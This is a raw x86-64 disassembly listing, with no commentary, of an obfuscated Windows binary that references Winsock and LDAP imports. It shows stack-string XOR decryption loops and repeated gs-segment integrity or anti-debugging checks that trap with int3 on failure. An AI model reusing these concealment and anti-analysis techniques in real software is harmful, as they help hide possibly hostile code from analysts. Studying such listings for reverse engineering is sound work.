xor rax, rdi
mov qword [rbp + 0xd10], rax
add rcx, r11
mov r8, r13
mov rax, r13
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
xor rcx, 0x45927dc1
mov qword [rbp + 0xd18], rcx
xor edi, edi
xor rdi, 0x4e3f8dcc
mov qword [rbp + 0xd20], rdi
mov edi, ebx
movabs r13, 0xbf126fc7c
movsxd rcx, edi
add rcx, r11
mov rax, r8
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140040cfe
add edi, r12d
cmp edi, 5
jl 0x14004061a
mov byte [rbp + 0x270], WSAGetLastError
mov byte [rbp + 0x271], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0x272], 0xbf
mov byte [rbp + 0x273], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x274], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x275], gethostname
mov byte [rbp + 0x276], 0xfc
mov byte [rbp + 0x277], 0x9a
mov byte [rbp + 0x278], 0xdb
mov byte [rbp + 0x279], reloc.WS2_32.dll_socket
mov byte [rbp + 0x27a], 0xc1
mov byte [rbp + 0x27b], 0xbd
xor eax, eax
mov byte [rbp + 0x27c], al
mov r8, rbx
mov esi, 0xfec33fb4
lea r9d, [rax + 0xc]
movabs r10, 0x17e24df8f8
movabs r11, 0x8080808080808081
mov r15d, 0xfec33fb5
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r11
mul r13
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r13
sub rcx, rax
xor dil, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0x270]
xor dil, r8b
mov byte [rbp + r8 + 0x270], dil
add r8, r12
add r13, r15
add r9, 0xc
cmp r13, r10
jb 0x140040704
mov byte [rbp + 0x27c], bl
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x1030]
call fcn.140053b30
mov rcx, qword gs:[0xd]
test al, al
mov esi, 0x9e0d9526
mov r15d, 0xdb9fe8f7
mov r13d, 0xdb9fe8e7
je 0x140041094
cmp rcx, r13
jne 0x1400408c3
mov r8, rbx
mov rcx, r12
mov r9d, 5
mov r10d, 0xbd2ec3eb
mov rax, r10
cqo
idiv rcx
imul rax, rdx, 0x8cbe013
add r8, rax
mov rdi, qword gs:[7]
movzx eax, r8b
xor rdi, rax
add rcx, r12
sub r9, r12
jne 0x1400407bf
xor rdi, 0x232356cd
mov rcx, rdi
imul rcx, r10
movabs rax, 0xe9233b7ed02e08f
imul rcx
sar rdx, 0x19
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0x232356cd
sub rcx, rax
xor rdi, r8
mov qword [rbp + 0xd10], rdi
mov rax, r8
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xd18], rax
xor rcx, r13
or rcx, r8
xor rcx, r8
xor rcx, 0xbadf00d
mov qword [rbp + 0xd20], rcx
mov edi, ebx
movsxd rcx, edi
add rcx, r13
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd10]
and rdx, rax
mov rcx, qword [rbp + 0xd20]
and rcx, rdx
mov rax, qword [rbp + 0xd18]
and rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140040d09
add edi, r12d
cmp edi, 7
jl 0x140040854
movdqa xmm0, xmmword [0x14010a020]
movdqa xmmword [rbp + 0xb50], xmm0
movdqa xmm1, xmmword [0x140109f20]
movdqa xmmword [rbp + 0xb60], xmm1
movdqa xmm0, xmmword [0x14010a0c0]
movdqa xmmword [rbp + 0xb70], xmm0
movdqa xmm1, xmmword [0x14010a130]
movdqa xmmword [rbp + 0xb80], xmm1
movdqa xmm0, xmmword [0x140109f80]
movdqa xmmword [rbp + 0xb90], xmm0
movdqa xmm1, xmmword [0x140109fb0]
movdqa xmmword [rbp + 0xba0], xmm1
movdqa xmm0, xmmword [0x140109fa0]
movdqa xmmword [rbp + 0xbb0], xmm0
mov byte [rbp + 0xbc0], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0xbc1], WSAStartup
xor eax, eax
mov byte [rbp + 0xbc2], al
mov r8, rbx
movabs r9, 0x7172f25e9a
lea r10d, [rax + 0x72]
movabs r11, 0x8080808080808081
mov r13d, 0xfec33fb5
mov r15d, 0xfec33fb4
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0xb50]
xor dil, r8b
mov byte [rbp + r8 + 0xb50], dil
add r8, r12
add r9, r13
add r10, 0x72
movabs rax, 0xe2e5e4bd34
cmp r9, rax
jb 0x140040970
mov byte [rbp + 0xbc2], bl
mov r8d, r12d
xor edx, edx
lea rcx, [rbp + 0xb50]
call fcn.1400399f0
mov rax, qword gs:[0xd]
mov r13d, 0xdb9fe8e7
cmp rax, r13
mov r15d, 0xdb9fe8f7
movabs r11, 0x2aaaaaaaaaaaaaab
jne 0x140040b4f
mov r8, rsi
mov rdi, rbx
mov r9d, ebx
mov r10d, r13d
mov r15d, 0xffafffef
mov edx, 0x232356cd
mov ecx, r9d
sar rdx, cl
mov rax, r13
shl rax, cl
or rdx, rax
xor r8, rdx
mov rax, r11
imul r10
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r10
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r8
and rax, r15
xor rcx, rax
add rdi, rcx
add r9d, r12d
add r10, r12
cmp r9d, 8
jl 0x140040a30
xor r8, rdi
mov rax, r8
xor rax, rdi
mov qword [rbp + 0xd10], rax
lea rcx, [r8 + r13]
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rax, qword gs:[rcx]
mov ecx, 0xdeadbeef
or rdi, rcx
xor rax, rdi
xor rax, 0x45927dc1
mov qword [rbp + 0xd18], rax
mov qword [rbp + 0xd20], 0x4e3f8dcc
mov edi, ebx
mov r15d, 0xdb9fe8f7
movsxd rcx, edi
add rcx, r13
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140040d14
add edi, r12d
cmp edi, 5
jl 0x140040ae7
mov rax, qword gs:[0xd]
cmp rax, r13
jne 0x140040d2a
mov rdi, rbx
movabs r13, 0xc9120f8b6b5ff569
sub r14d, r12d
sub r15, r12
mov rax, r11
imul r15
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r15
sub rax, rcx
mov rdx, qword gs:[rax]
mov ecx, r14d
and ecx, 0x80000003
jge 0x140040bae
sub ecx, r12d
or ecx, 0xfffffffc
add ecx, r12d
mov rax, r13
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r14d, r14d
jne 0x140040b6e
mov rax, rdi
xor rax, rdi
mov r13d, 0xdb9fe8e7
xor rax, r13
mov qword [rbp + 0xd10], rax
mov rcx, rdi
mov eax, 0xbd2ec3eb
or rcx, rax
mov rax, rdi
mov r15d, 0xdeadbeef
or rax, r15
xor rcx, rax
mov r14d, 0x232356cd
xor rcx, r14
mov qword [rbp + 0xd18], rcx
mov rax, rdi
not rax
and eax, 0x24200308
or rax, r13
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd20], rax
mov edi, ebx
movsxd rcx, edi
add rcx, r13
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
or rdx, rax
mov rcx, qword [rbp + 0xd18]
or rcx, rdx
mov rax, qword [rbp + 0xd10]
or rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140040d1f
add edi, r12d
mov eax, 0xa
cmp edi, eax
jl 0x140040c1f
jmp 0x140040d30
mov rcx, qword [rsp + 0x68]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
mov r14d, 0x232356cd
movdqa xmm0, xmmword [0x14010a1a0]
movdqu xmmword [rbp + 0xa18], xmm0
movdqa xmm1, xmmword [0x140109fc0]
movdqu xmmword [rbp + 0xa28], xmm1
movdqa xmm0, xmmword [0x140109e60]
movdqu xmmword [rbp + 0xa38], xmm0
mov r8, rbx
movabs r9, 0x2ec5d8b23b
mov r10d, Ordinal_50
movabs r11, 0x8080808080808081
mov r13d, 0xfec33fb5
mov r15d, 0xfec33fb4
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xa18], dil
add r8, r12
add r9, r13
add r10, 0x2f
movabs rax, 0x5d8bb16476
cmp r9, rax
jb 0x140040d89
mov byte [rbp + 0xa47], bl
lea rcx, [rbp + 0xa18]
call fcn.1400c8790
mov rax, qword gs:[0xd]
mov r13d, 0xdb9fe8e7
cmp rax, r13
mov r15d, 0xdeadbeef
jne 0x140040f3c
mov rdi, rbx
mov r9, r12
mov r10d, 5
mov r11d, 0xbd2ec3eb
mov rax, r11
cqo
idiv r9
imul rax, rdx, 0x8cbe013
add rdi, rax
mov r8, qword gs:[7]
movzx ecx, dil
xor r8, rcx
add r9, r12
sub r10, r12
jne 0x140040e32
xor r8, r14
mov rcx, r8
imul rcx, r11
movabs rax, 0xe9233b7ed02e08f
imul rcx
sar rdx, 0x19
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0x232356cd
sub rcx, rax
mov rax, rdi
xor rax, r8
mov qword [rbp + 0xd10], rax
mov rax, rdi
or rax, r15
xor rax, rcx
mov qword [rbp + 0xd18], rax
xor rcx, r13
or rcx, rdi
xor rcx, rdi
xor rcx, 0xbadf00d
mov qword [rbp + 0xd20], rcx
mov edi, ebx
movabs r10, 0x2aaaaaaaaaaaaaab
movsxd rcx, edi
add rcx, r13
mov rax, r10
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
and rdx, rax
mov rcx, qword [rbp + 0xd18]
and rcx, rdx
mov rax, qword [rbp + 0xd10]
and rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140040f31
add edi, r12d
cmp edi, 7
jl 0x140040ecb
jmp 0x140040f46
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
movabs r10, 0x2aaaaaaaaaaaaaab
mov rax, qword gs:[0xd]
cmp rax, r13
jne 0x14003c589
mov rdi, rbx
mov r8d, ebx
mov r9, r13
mov r15d, 0xffafffef
mov rdx, r14
mov ecx, r8d
sar rdx, cl
mov rax, r13
shl rax, cl
or rdx, rax
xor rsi, rdx
mov rax, r10
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, rsi
and rax, r15
xor rcx, rax
add rdi, rcx
add r8d, r12d
add r9, r12
cmp r8d, 8
jl 0x140040f67
mov rcx, rdi
xor rcx, rsi
mov rax, rcx
xor rax, rdi
mov qword [rbp + 0xd10], rax
add rcx, r13
mov rax, r10
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov r15d, 0xdeadbeef
or rax, r15
xor rcx, rax
xor rcx, 0x45927dc1
mov qword [rbp + 0xd18], rcx
xor edi, edi
xor rdi, 0x4e3f8dcc
mov qword [rbp + 0xd20], rdi
movsxd rcx, ebx
add rcx, r13
mov rax, r10
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, ebx, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140041089
add ebx, r12d
cmp ebx, 5
jl 0x140041020
jmp 0x14003c589
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
cmp rcx, r13
jne 0x1400411e3
mov r10, rsi
mov rdi, rbx
mov r8d, ebx
mov r9, r13
movabs r11, 0x2aaaaaaaaaaaaaab
mov r15d, 0xffafffef
mov edx, 0x232356cd
mov ecx, r8d
sar rdx, cl
mov rax, r13
shl rax, cl
or rdx, rax
xor r10, rdx
mov rax, r11
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r10
and rax, r15
xor rcx, rax
add rdi, rcx
add r8d, r12d
add r9, r12
cmp r8d, 8
jl 0x1400410b9
mov rcx, rdi
xor rcx, r10
mov rax, rcx
xor rax, rdi
mov qword [rbp + 0xd10], rax
add rcx, r13
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
xor rcx, 0x45927dc1
mov qword [rbp + 0xd18], rcx
xor edi, edi
xor rdi, 0x4e3f8dcc
mov qword [rbp + 0xd20], rdi
mov edi, ebx
mov r15d, 0xdb9fe8f7
movsxd rcx, edi
add rcx, r13
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140041368
add edi, r12d
cmp edi, 5
jl 0x14004117b
lea rdx, [rbp + 0x1030]
lea rcx, [rbp + 0x8a0]
call fcn.140051adc
mov rdx, rax
lea rcx, [rbp + 0x8c0]
call fcn.14003b144
mov rdx, rax
lea rcx, [rbp + 0x1030]
call fcn.1400519b8
lea rcx, [rbp + 0x8c0]
call fcn.140051940
mov rax, qword gs:[0xd]
cmp rax, r13
jne 0x14004137e
mov rdi, rbx
mov r8d, r14d
mov r9, r15
movabs r14, 0x2aaaaaaaaaaaaaab
movabs r13, 0xc9120f8b6b5ff569
sub r8d, r12d
sub r9, r12
mov rax, r14
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rdx, qword gs:[rax]
mov ecx, r8d
and ecx, 0x80000003
jge 0x14004128f
sub ecx, r12d
or ecx, 0xfffffffc
add ecx, r12d
mov rax, r13
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x14004124f
mov rax, rdi
xor rax, rdi
mov r13d, 0xdb9fe8e7
xor rax, r13
mov qword [rbp + 0xd10], rax
mov rcx, rdi
mov r11d, 0xdeadbeef
or rcx, r11
mov rax, rdi
mov edx, 0xbd2ec3eb
or rax, rdx
xor rcx, rax
xor rcx, 0x232356cd
mov qword [rbp + 0xd18], rcx
mov rax, rdi
not rax
and eax, 0x24200308
or rax, r13
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd20], rax
mov edi, ebx
movsxd rcx, edi
add rcx, r13
mov rax, r14
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
or rdx, rax
mov rcx, qword [rbp + 0xd18]
or rcx, rdx
mov rax, qword [rbp + 0xd10]
or rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140041373
add edi, r12d
mov eax, 0xa
cmp edi, eax
jl 0x1400412fe
jmp 0x140041388
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
movabs r14, 0x2aaaaaaaaaaaaaab
mov rax, qword gs:[0xd]
cmp rax, r13
jne 0x1400414c8
mov r10, rsi
mov rdi, rbx
mov r8d, ebx
mov r9, r13
mov r11d, 0xffafffef
mov edx, 0x232356cd
mov ecx, r8d
sar rdx, cl
mov rax, r13
shl rax, cl
or rdx, rax
xor r10, rdx
mov rax, r14
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r10
and rax, r11
xor rcx, rax
add rdi, rcx
add r8d, r12d
add r9, r12
cmp r8d, 8
jl 0x1400413ac
mov rcx, rdi
xor rcx, r10
mov rax, rdi
xor rax, rcx
mov qword [rbp + 0xd10], rax
add rcx, r13
mov rax, r14
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rax, qword gs:[rcx]
mov r11d, 0xdeadbeef
or rdi, r11
xor rax, rdi
xor rax, 0x45927dc1
mov qword [rbp + 0xd18], rax
mov qword [rbp + 0xd20], 0x4e3f8dcc
mov edi, ebx
movsxd rcx, edi
add rcx, r13
mov rax, r14
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x1400418b4
add edi, r12d
cmp edi, 5
jl 0x140041460
lea rcx, [rbp + 0xfd0]
call fcn.140051880
mov rax, qword gs:[0xd]
cmp rax, r13
jne 0x1400415f6
mov r8, rbx
mov rcx, r12
mov r9d, 5
mov r10d, 0xbd2ec3eb
mov rax, r10
cqo
idiv rcx
imul rax, rdx, 0x8cbe013
add r8, rax
mov rdi, qword gs:[7]
movzx eax, r8b
xor rdi, rax
add rcx, r12
sub r9, r12
jne 0x1400414f8
xor rdi, 0x232356cd
mov rcx, rdi
imul rcx, r10
movabs rax, 0xe9233b7ed02e08f
imul rcx
sar rdx, 0x19
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0x232356cd
sub rcx, rax
xor rdi, r8
mov qword [rbp + 0xd10], rdi
mov rax, r8
mov r11d, 0xdeadbeef
or rax, r11
xor rax, rcx
mov qword [rbp + 0xd18], rax
xor rcx, r13
or rcx, r8
xor rcx, r8
xor rcx, 0xbadf00d
mov qword [rbp + 0xd20], rcx
mov edi, ebx
movsxd rcx, edi
add rcx, r13
mov rax, r14
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
and rdx, rax
mov rcx, qword [rbp + 0xd18]
and rcx, rdx
mov rax, qword [rbp + 0xd10]
and rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x1400418bf
add edi, r12d
cmp edi, 7
jl 0x14004158e
mov rax, qword gs:[0xd]
cmp rax, r13
jne 0x14004173f
mov r10, rsi
mov rdi, rbx
mov r8d, ebx
mov r9, r13
mov r11d, 0xffafffef
mov edx, 0x232356cd
mov ecx, r8d
sar rdx, cl
mov rax, r13
shl rax, cl
or rdx, rax
xor r10, rdx
mov rax, r14
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r10
and rax, r11
xor rcx, rax
add rdi, rcx
add r8d, r12d
add r9, r12
cmp r8d, 8
jl 0x14004161a
mov rcx, rdi
xor rcx, r10
mov rax, rdi
xor rax, rcx
mov qword [rbp + 0xd10], rax
add rcx, r13
mov rax, r14
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov r11d, 0xdeadbeef
or rax, r11
xor rcx, rax
xor rcx, 0x45927dc1
mov qword [rbp + 0xd18], rcx
xor edi, edi
xor rdi, 0x4e3f8dcc
mov qword [rbp + 0xd20], rdi
mov edi, ebx
movsxd rcx, edi
add rcx, r13
mov rax, r14
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x1400418ca
add edi, r12d
cmp edi, 5
jl 0x1400416d7
lea rcx, [rbp + 0x1030]
call fcn.1400517f0
mov rcx, rax
call fcn.1400c8b98
mov rsi, rax
mov qword [rbp + 0x30], rax
mov rcx, qword gs:[0xd]
mov r14d, 0x9e0d9526
cmp rcx, r13
jne 0x1400418e0
mov r10d, r14d
mov rdi, rbx
mov r8d, ebx
mov r9, r13
mov esi, 0xffafffef
movabs r11, 0x2aaaaaaaaaaaaaab
mov ecx, r8d
mov rdx, r13
shl rdx, cl
mov eax, 0x232356cd
sar rax, cl
or rdx, rax
xor r10, rdx
mov rax, r11
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r10
and rax, rsi
xor rcx, rax
add rdi, rcx
add r8d, r12d
add r9, r12
cmp r8d, 8
jl 0x14004178d
mov rcx, rdi
xor rcx, r10
mov rax, rcx
xor rax, rdi
mov qword [rbp + 0xd10], rax
add rcx, r13
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov r10d, 0xdeadbeef
or rax, r10
xor rcx, rax
xor rcx, 0x45927dc1
mov qword [rbp + 0xd18], rcx
xor edi, edi
xor rdi, 0x4e3f8dcc
mov qword [rbp + 0xd20], rdi
mov edi, ebx
mov rsi, qword [rbp + 0x30]
movsxd rcx, edi
add rcx, r13
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x1400418d5
add edi, r12d
cmp edi, 5
jl 0x14004184e
jmp 0x1400418e6
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
mov r10d, 0xdeadbeef
mov rax, qword gs:[0xd]
cmp rax, r13
jne 0x140041a0f
mov r8, rbx
mov rcx, r12
mov r9d, 5
mov r11d, 0xbd2ec3eb
mov rax, r11
cqo
idiv rcx
imul rax, rdx, 0x8cbe013
add r8, rax
mov rdi, qword gs:[7]
movzx eax, r8b
xor rdi, rax
add rcx, r12
sub r9, r12
jne 0x14004190a
xor rdi, 0x232356cd
mov rcx, rdi
mov rax, r11
imul rcx, rax
movabs rax, 0xe9233b7ed02e08f
imul rcx
sar rdx, 0x19
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0x232356cd
sub rcx, rax
xor rdi, r8
mov qword [rbp + 0xd10], rdi
mov rax, r8
or rax, r10
xor rax, rcx
mov qword [rbp + 0xd18], rax
xor rcx, r13
or rcx, r8
xor rcx, r8
xor rcx, 0xbadf00d
mov qword [rbp + 0xd20], rcx
mov edi, ebx
movabs r11, 0x2aaaaaaaaaaaaaab
movsxd rcx, edi
add rcx, r13
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
and rdx, rax
mov rcx, qword [rbp + 0xd18]
and rcx, rdx
mov rax, qword [rbp + 0xd10]
and rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140041f70
add edi, r12d
cmp edi, 7
jl 0x1400419a7
lea rcx, [rbp + 0x1030]
call fcn.1400517f0
mov r12, rax
mov qword [rsp + 0x60], rax
mov rcx, qword gs:[0xd]
mov r11d, 1
cmp rcx, r13
jne 0x140041b73
mov rdi, rbx
lea r8d, [r11 + 0xf]
mov r9, r15
movabs r10, 0x2aaaaaaaaaaaaaab
movabs r13, 0xc9120f8b6b5ff569
sub r8d, r11d
sub r9, r11
mov rax, r10
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rdx, qword gs:[rax]
mov ecx, r8d
and ecx, 0x80000003
jge 0x140041a99
sub ecx, r11d
or ecx, 0xfffffffc
add ecx, r11d
mov rax, r13
sar rax, cl
xor rdx, rax
